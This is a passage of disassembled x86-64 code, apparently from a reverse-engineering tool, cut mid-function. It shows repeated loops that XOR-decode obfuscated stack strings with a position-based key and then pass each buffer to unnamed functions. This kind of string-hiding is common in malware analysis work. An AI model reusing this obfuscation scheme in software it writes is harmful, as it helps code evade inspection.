add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3e
xor byte [r9 + 7], al
lea ecx, [rbx + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x3f
xor byte [r9 + 8], al
lea ecx, [rbx + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x40
xor byte [r9 + 9], al
lea ecx, [rbx + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x41
xor byte [r9 + 0xa], al
lea ecx, [rbx + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
sub r8b, cl
add r8b, 0x42
xor byte [r9 + 0xb], r8b
add ebx, 0xd
lea r9, [r9 + 0xd]
lea eax, [rbx - 2]
cmp eax, 0x41
jl 0x1400fa8e0
lea rdx, [rsp + 0x229d]
lea rcx, [rsp + 0x1448]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea888]
vmovups ymmword [rsp + 0x21e4], ymm0
vmovups xmm1, xmmword [0x1401ea8a8]
vmovups xmmword [rsp + 0x2204], xmm1
vmovsd xmm0, qword [0x1401ea8b8]
vmovsd qword [rsp + 0x2214], xmm0
mov eax, dword [str.RHR_]
mov dword [rsp + 0x221c], eax
xor r10d, r10d
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x21e4], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x21e5], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x21e6], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x21e7], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x21e8], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x21e9], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x21ea], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x21eb], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x21ec], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x21ed], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x21ee], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x21ef], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x21f0], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x21f1], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x21f2], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x21f3], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x21f4], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x21f5], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x21f6], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x21f7], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x21f8], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x21f9], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x21fa], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x21fb], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x21fc], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x21fd], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x21fe], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x21ff], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x2200], al
lea ecx, [r8 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x2201], al
add r10d, 0x1e
cmp r10d, 0x3c
jl 0x1400fab41
lea rdx, [rsp + 0x21e4]
lea rcx, [rsp + 0x1468]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea8c8]
vmovups ymmword [rsp + 0x174e], ymm0
vmovups xmm1, xmmword [0x1401ea8e8]
vmovups xmmword [rsp + 0x176e], xmm1
movzx eax, word [0x1401ea8f8]
mov word [rsp + 0x177e], ax
xor r10d, r10d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x174e], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x174f], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x1750], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x1751], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x1752], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x1753], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x1754], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x1755], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x1756], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x1757], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x1758], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x1759], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x175a], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x175b], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x175c], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x175d], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x175e], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x175f], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x1760], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x1761], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x1762], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x1763], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x1764], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x1765], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x1766], al
add r10d, 0x19
cmp r10d, 0x32
jl 0x1400fb0b0
lea rdx, [rsp + 0x174e]
lea rcx, [rsp + 0x1488]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea900]
vmovups ymmword [rsp + 0x1780], ymm0
vmovups xmm1, xmmword [0x1401ea920]
vmovups xmmword [rsp + 0x17a0], xmm1
mov eax, dword [0x1401ea930]
mov dword [rsp + 0x17b0], eax
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x1780], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x1781], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x1782], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x1783], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x1784], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x1785], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x1786], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x1787], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x1788], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x1789], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x178a], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x178b], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x178c], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x178d], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x178e], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x178f], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x1790], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x1791], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x1792], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x1793], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x1794], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x1795], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x1796], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x1797], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x1798], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x1799], al
add r10d, 0x1a
cmp r10d, 0x34
jl 0x1400fb540
lea rdx, [rsp + 0x1780]
lea rcx, [rsp + 0x14a8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea938]
vmovups ymmword [rsp + 0x1568], ymm0
movzx eax, byte [0x1401ea958]
mov byte [rsp + 0x1568], 0x72
xor byte [rsp + 0x1569], 0x37
xor byte [rsp + 0x156a], 0x38
xor byte [rsp + 0x156b], 0x39
xor byte [rsp + 0x156c], 0x3a
xor byte [rsp + 0x156d], 0x3b
xor byte [rsp + 0x156e], 0x3c
xor byte [rsp + 0x156f], 0x3d
xor byte [rsp + 0x1570], 0x3e
xor byte [rsp + 0x1571], 0x3f
xor byte [rsp + 0x1572], 0x40
xor byte [rsp + 0x1573], 0x41
xor byte [rsp + 0x1574], 0x42
xor byte [rsp + 0x1575], 0x43
xor byte [rsp + 0x1576], 0x44
xor byte [rsp + 0x1577], 0x45
xor byte [rsp + 0x1578], 0x46
xor byte [rsp + 0x1579], 0x47
xor byte [rsp + 0x157a], 0x48
xor byte [rsp + 0x157b], 0x49
xor byte [rsp + 0x157c], 0x4a
xor byte [rsp + 0x157d], 0x4b
xor byte [rsp + 0x157e], 0x4c
xor byte [rsp + 0x157f], 0x4d
xor byte [rsp + 0x1580], 0x4e
xor byte [rsp + 0x1581], 0x4f
xor byte [rsp + 0x1582], 0x50
xor byte [rsp + 0x1583], 0x51
xor byte [rsp + 0x1584], 0x52
xor byte [rsp + 0x1585], 0x53
xor byte [rsp + 0x1586], 0x54
xor byte [rsp + 0x1587], 0x55
xor al, 0x56
mov byte [rsp + 0x1588], al
lea rdx, [rsp + 0x1568]
lea rcx, [rsp + 0x14c8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [str.DZPHe]
vmovups ymmword [rsp + 0x20c5], ymm0
vmovups xmm1, xmmword [0x1401ea980]
vmovups xmmword [rsp + 0x20e5], xmm1
vmovsd xmm0, qword [0x1401ea990]
vmovsd qword [rsp + 0x20f5], xmm0
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x20c5], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x20c6], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x20c7], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x20c8], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x20c9], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x20ca], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x20cb], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x20cc], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x20cd], al
lea ecx, [r8 + 7]
